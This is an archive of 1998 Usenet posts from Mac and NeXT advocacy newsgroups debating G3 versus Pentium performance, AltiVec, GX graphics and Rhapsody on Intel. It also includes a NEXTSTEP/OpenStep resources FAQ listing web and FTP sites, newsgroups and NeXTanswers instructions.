References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <6kiogb$9dn$1@newsfep1.sprintmail.com> <gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net> <01bd8abf$840441a0$0b0ba8c0@woohoo> <cirby-2905981502440001@pm61-26.magicnet.net> <01bd8b8a$5d6e4f60$0b0ba8c0@woohoo>
Earl Malmrose posted the following to comp.sys.mac.advocacy:
>I'm not looking at anybody else's scores. I'll have to check them out,
>though. Where are they? I've run POVRay on my own G3-266 and PII-300. Are
>you sure you've set both systems up with the same POV settings? I've
>carefully configured POV to be the same on both, and I've had someone else
>do the same, with the same results. I'm interested to see if my results are
>correct, or if I do have something setup wrong.
If you built it with CodeWarrior, it's set up wrong. ;)
--
In my opinion MS is a lot better at making money than it is at making
good operating systems.
-- Linus Torvalds (http://www.twics.com/~tlug/linus.html)
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Sat, 30 May 1998 12:56:57 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EtrtAx.G4H@AWT.NL>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <SCOTT.98May29151643@slave.doubleu.com> <1d9taf9.9dkhtjztnwtqN@sextans116.wco.com>
mpaque@wco.com (Mike Paquette) wrote:
>Scott Hess <scott@doubleu.com> wrote:
>
>> I'll be truly pissed if apps have to maintain their own backing store,
>> and thus have to swap in when the foreground app is hidden or quit.
>> This is one of those Windows NT "features" I'm pretty sure people
>> haven't been asking for,
>
>Not to worry. Damage repair is all done from the backing store to the
>screen in the lightweight window server, to cut down on damage repair
>events and all that context switching.
Very good.
Now the only thing missing is MacOS X on intel.
As soon as Apple announces it, they have made a PPC hardware sale.
>--
> Mike Paquette mpaque@wco.com
>
>"Troubled Apple Computer" and the "Troubled Apple" logo are trade and
>service marks of Apple Computer, Inc.
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 23:56:53 GMT
Message-ID: <6kni05$4v3$1@newsfep4.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net>
<6kifon$4ed$1@newsfep3.sprintmail.com> <joe.ragosta-2805981143250001@wil92.dol.net>
<6kkd5m$mjn$1@newsfep4.sprintmail.com> <EtpKwu.Aw2@AWT.NL>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: G.C.Th.Wierda@AWT.nl
In <EtpKwu.Aw2@AWT.NL> Gerben Wierda wrote:
> I shouldn't, but I can't resist the temptation...
>
> macghod@concentric.net wrote:
> >Running on Openstep 4.2, the best os in the world, and about to get
better!
>
> Better? How, exactly?
Well, I dont know if better is exactly true, but it will
a) run on powermacs
b) be given a mac gui
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
Date: Fri, 29 May 1998 22:32:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-2905982232070001@elk64.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <356de30e.0@206.25.228.5> <6knf7d$i6a$1@nnrp1.dejanews.com>
In article <6knf7d$i6a$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> Has anyone benchmarked the graphics speed of a G3-300 versus a PII-400 with a
> decent AGP video card? I bet that the PC would come out on top and I'm
> willing to put it to the test. Anyone have a graphics benchmark they want to
> try?
Why not go to the PC Magazine review? They found that the G3/300 was 46%
faster than a PII/400 on Photoshop. IIRC, this PC had a decent video card.
There's a Photoshop benchmark circulating on the web you could try, too.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 29 May 1998 22:37:25 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Message-ID: <joe.ragosta-2905982237250001@elk64.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu> <3566CEAC.EC53C221@nstar.net> <rmcassid-2505982311390001@dialin9062.slip.uci.edu> <356AD3B0.5FA67D27@nstar.net> <christian.bau-2805980957090001@christian-mac.isltd.insignia.com>
In article
<christian.bau-2805980957090001@christian-mac.isltd.insignia.com>,
christian.bau@isltd.insignia.com (Christian Bau) wrote:
> In article <356AD3B0.5FA67D27@nstar.net>, "Michael J. Peck"
> <mjpeck@nstar.net> wrote:
>
> > Your statement above says "...AltiVec should deliver competitive 3D."
> > That's a bold statement, considering the PC 3D market.
>
> It is not so bold when you look at the AltiVec instruction set. If you
> consider cost/performance ratio (once you have an AltiVec processor, the
> 3D graphics is free) it looks very competitive.
>
> >> Well, a single Intel i740 3D chip is something like $50, I think. A
> > single 300 MHz AltiVec G4 CPU would be, what? $800?
>
> Altivec seems to be just one more G3 chip. Go to the Motorola page and
> read the Altivec manual very carefully. The changes to the chip are
> absolutely minimal. I dont think it will be any more expensive than the
> 750. And as they wont come this year, I dont think you will ever have one
> running at less than 400 MHz.
This would surprise me. There are a lot of new instructions in AltiVec. I
read that it took up a lot of chip area and that it would probably have a
slower clock speed than a same-generation G3 without AltiVec.
>
> > Does AltiVec do texture mapping, multitexture, texture blending? Does
> > AltiVec have support for geometry setup, alpha blending, bilinear
> > filtering, fogging?
>
> Read the Motorola page and look at the instruction set. Of course you wont
> find a "fogging" instruction in the instruction set.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Sat, 30 May 1998 08:23:06 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356FC1EA.44E7DE02@nstar.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu> <slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu> <6kmp99$i5e$3@ns3.vrx.net> <356f74cd.0@news.depaul.edu>
Mime-Version: 1.0
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NNTP-Posting-Date: 30 May 1998 08:27:56 GMT
Jonathan W Hendry wrote:
[cut]
> There's also the issue of the current high level of secrecy
> at Apple.
>
> And, Apple might not want to repeat the inital PowerPC hype. It
> took a while for the chip to live up to its billing, it seems.
It surely did, but Lord Amighty! it seems like things have changed. I
admit to being a convert. PPC is kicking serious tail these days.
MJP
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 04:25:31 GMT
Organization: Digital Fix Development
Message-ID: <6kqm3r$3k2$1@news.digifix.com>
References: <6knucq$46c$1@news.digifix.com> <B194D4EA-19C505@206.165.43.148>
In-Reply-To: <B194D4EA-19C505@206.165.43.148>
On 05/29/98, "Lawson English" wrote:
>Scott Anguish <sanguish@digifix.com> said:
>
>>
>> If it takes such an "expert" as yourself months to turn out a
>>XFCN, I just don't see how its such a productivity gain.
>
>I've never claimed to be an "expert." In fact, I am a pretty rotten
>programmer by many people's standards.
>
>>
>> I wrote a DTP product that did this perspective text
>>manipulation in less time, and without GX.
>
>Editing perspectivized text in-place? Complete with all the other
features
>of GX typography that are integrated with GX graphics?
>
No, but it was able to do the perspective type text that
companies like Reebok and other high profile graphics companies needed
for their work. The didn't care about doing editing perspectivized
text in-place. They just wanted make t-shirts for piddly little
things like World Series Championships and such..
>And how do you know that no-one wants it? only a handful want it at
>$300-$500 a pop, but what if it is $10?
>
Yawn. and they'll need to code their own stuff right Lawson?
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 04:30:04 GMT
Organization: Digital Fix Development
Message-ID: <6kqmcc$3k6$1@news.digifix.com>
References: <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152>
In-Reply-To: <B195AF8F-215CF@206.165.43.152>
On 05/30/98, "Lawson English" wrote:
>Scott Anguish <sanguish@digifix.com> said:
>
>>>And THAT is what Apple is giving up in Carbon/YB for MacOS X.
>>>
>>
>> Thankfully, yes.
>>
>> 90% of the apps don't need it. Of the rest that do need it,
>>only a small percentage of users actually would ever use it.
>
>Oh, nonsense. Most users don't even know that this capability exists
so you
>can't possibly evaluate their reaction to it.
>Most DEVELOPERS don't even
>know that this capability exists. GX provides
Freehand/Pagemaker-level
>capabilities to anyone that can string a few function-calls together.
>
How many programs on the Mac even NEED
Freehand/Pagemaker-level graphics editing capabilities?
Sorry, but you can't convince me that Apple spending precious
resources writing a bloated, over-featured and years late replacement
for QuickDraw that does all this when they really needed basic
line-drawing capabilities that Classic Quickdraw never had, was ever
money well spent.
Editing Perspectivized Text in place is a perfect example of
wasted effort... This when what we needed was the ability to draw a
real line with proper miters.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 31 May 1998 04:33:31 GMT
Organization: Digital Fix Development
Message-ID: <6kqmir$3r5$1@news.digifix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <356f5a10.0@news.camtech.net.au> <357005B3.C1AC4BD@milestonerdl.com>
In-Reply-To: <357005B3.C1AC4BD@milestonerdl.com>
On 05/30/98, m rassbach wrote:
<snip>
>Besides Apple is un-interested in head-to-head competition. PDA's
become popular,
>dump Newton.
Lets correct that to reality.
$300 PDAs become popular, drop the $900 PDA that is much
bigger and doesn't sell. (It doesn't matter that it was cool and did
more.. the public didn't want more)
>Clones - gotta dump them.
They were costing Apple money.
>After WWDC, I'm convinced they won't even
>try to play in the x86 sandbox with the other kids.
>
Oh, were you AT WWDC?
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Charles Moon <cmgd@epix.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sat, 30 May 1998 20:54:38 -0400
Organization: cmgd
Message-ID: <3570AA4E.91314439@epix.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkfk9$e60@nntp02.primenet.com> <gmgraves-2805981618270001@sf-usr1-22-150.dialup.slip.net> <6kn63p$ta@nntp02.primenet.com> <gmgraves-3005981412310001@sf-usr1-18-146.dialup.slip.net>
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George Graves wrote:
>
> In article <6kn63p$ta@nntp02.primenet.com>, John Jensen
> <jjens@primenet.com> wrote:
>
> > The bottom line is that Apple people will buy Apple computers because they
> > want to run Apple operating systems. Other people will buy Intel, or AMD,
> > or Cyrix, or WinChip systems to run Microsoft, or Sun, or SCO, or Linux,
> > or QNX, or Be, or any number of other operating systems. The hardware
> > prices are close enough to be moot.
>
> Actually that's my point. Wintel advocates have several
> 'pat' excuses why people shouldn't buy Mac. Most of them
> are either terribly out of date, urban myths, or simply
> misinformation. One of these is the incredible delta between
> PC and Mac pricing. It WAS most assuredly true, once, its not
> true anymore, the difference is trivial.
>
> It is _all_ a question of what OS (or
> > OSes) you want to run.
>
> If you have the knowledge and understanding to make
> such a choice, yes, that is true. Most don't. They buy
> PCs because most people buy PCs. Taken as a group,
> the people who buy computers at either the personal
> or the corporate level are neither very sophisticated
> nor very informed about the choices they make.
>
> George Graves
Unless they buy a Mac?
--
+==============================+
| Charles Moon Graphic Design |
|==============================|
| http://www.cmgd.com |
| mailto:cmgd@epix.net |
+==============================+
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 31 May 1998 07:51:45 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd8c68$bb0200c0$0b0ba8c0@woohoo>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <6kiogb$9dn$1@newsfep1.sprintmail.com> <gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net> <01bd8abf$840441a0$0b0ba8c0@woohoo> <cirby-2905981502440001@pm61-26.magicnet.net> <joe.ragosta-3005980934020001@elk73.dol.net>
NNTP-Posting-Date: 31 May 1998 07:51:45 GMT
Joe Ragosta <joe.ragosta@dol.net> wrote in article
<joe.ragosta-3005980934020001@elk73.dol.net>...
>
> POVRay appears to be a lousy benchmark.
>
> They have a Pentium 75 (Packard Bell) running at the same speed as a
> PII/233. Sort of raises a question as to the benchmark's validity.
Which is why I don't trust other people's numbers, unless they jive with my
numbers after I've done the tests myself.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Rhapsody on Intel
Newsgroups: comp.sys.next.advocacy
References: <6jsait$q4o@newsb.netnews.att.com> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu> <slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu> <6kmp99$i5e$3@ns3.vrx.net> <rmcassid-2905981640240001@dante.eng.uci.edu> <6kpbo1$kuo$3@ns3.vrx.net>
Message-ID: <3570a88a.0@news.depaul.edu>
Date: 31 May 98 00:47:06 GMT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <rmcassid-2905981640240001@dante.eng.uci.edu> Robert Cassidy claimed:
> > Is the whole planet that susceptable to marketing?
> Yes.
Two words: Spice Girls
--
"... and subpoenas for all." - Ken Starr
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 31 May 1998 00:13:25 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <1d9v9jc.ud4amg1pcvsaoN@pppsl816.chicagonet.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <01bd8b3e$2b5d2600$c07498cf@edwint.rauland.com> <6kn6fm$npv$4@newsfep4.sprintmail.com> <01bd8b4e$2af12a80$c07498cf@edwint.rauland.com> <356F34AA.39E16C58@nstar.net> <01bd8b54$465aa020$c07498cf@edwint.rauland.com> <356F4130.14BC7E7B@nstar.net> <1d9ulpo.qcgddq18hpdfgN@pppsl591.chicagonet.net> <35707CC5.6CCAD0B8@nstar.net>
NNTP-Posting-Date: 31 May 1998 05:14:08 GMT
Michael J. Peck <mjpeck@nstar.net> wrote:
> Edwin E. Thorne wrote:
>
> > The point is that I use both PCs and a Mac. My head is hardly "in the
> > sand."
> >
> > That's because you only see what you choose to see. And the single
> > post that you dug up proves the point.
> >
> > You offer up one message to I, who have waded through months of Macghod
> > drivel? It's a message full of double talk, and Mac and Apple bashing
> > at that.
> >
> > Please take your own advice, for your comments apply to yourself, not I.
> > I have been using PCs for years, and reading Macghod posts for months. I
> > don't need you to tell me what either one is about.
>
> Sorry, I don't have the time or the inclination to explore your strange
> fascination with Macghod. Take a moment, though, and consider whether
> Macghod needs you to tell him what *he* is about.
I didn't say I was fascinated with Macghod, just that I've read his
posts. Take a moment and ask yourself whether anyone needs you to tell
them anything about anything. I'll tell you so you won't have to tax
your obviously limited intellect: the answer is NO.
>> Puffed up about your PC experience (?!), apparently serious about
>having
> researched Macghod, and vindictive, to boot. Your attitude comes off as
> idiotic in the extreme.
No sir, it is you who come of as idiotic in the extreme. You are the
very "knee-jerk fool" that you mentioned in your post. Since you have
no facts to back you, and since I've made it impossible to paint me as a
Mac bigot, you have nothing left but a personal attack.
I don't have to research Macghod, I read cmsa on a regular basis. I've
read his posts while doing that.
> MJP
Edwin
------------------------------------------------
Created on an Apple Macintosh Performa 6400/180
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <8873895982424@digifix.com>
Date: 31 May 1998 03:49:46 GMT
Organization: Digital Fix Development
Message-ID: <3654896587219@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Sun, 31 May 1998 00:17:06 -0500
Organization: KAOS
Message-ID: <19980531001706761026@sdn-ts-006txhousp05.dialsprint.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu> <slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu> <6kmp99$i5e$3@ns3.vrx.net>
Maury Markowitz wrote:
> On the other hand HP is going IA-64 (as you'd expect) and it appears MIPS
> and SPARC have nothing up their sleaves and are already being outperformed in
> some areas as it is. That being the case the only real race appears to be
> the Alpha and Merced, with a G4 a potential runner - but one that even Apple
> doesn't seem to talk about much.
Except that Apple talks about AltiVec, and the news items that I've read
describe AltiVec in the context of G4s. Is there a plan for AltiVec on
G3s?
While we're (sort of) on the subject, are all of these chips (Merced,
MIPS, SPARC, G4) 64-bit? Does this mean that NT (or at least non-x86
NT) is 64-bit? Will Mac OS X have to be 64-bit to run on a G4? Does
this involve only redoing the kernel (again) or is it more than that?
Finally, not that anyone knows the answer, but how likely is Apple to
have an operating system ready to run when G4s ship (if G4s are 64-bit
and the OS must be too)?
Non-technical minds want to know.
--
John Bauer
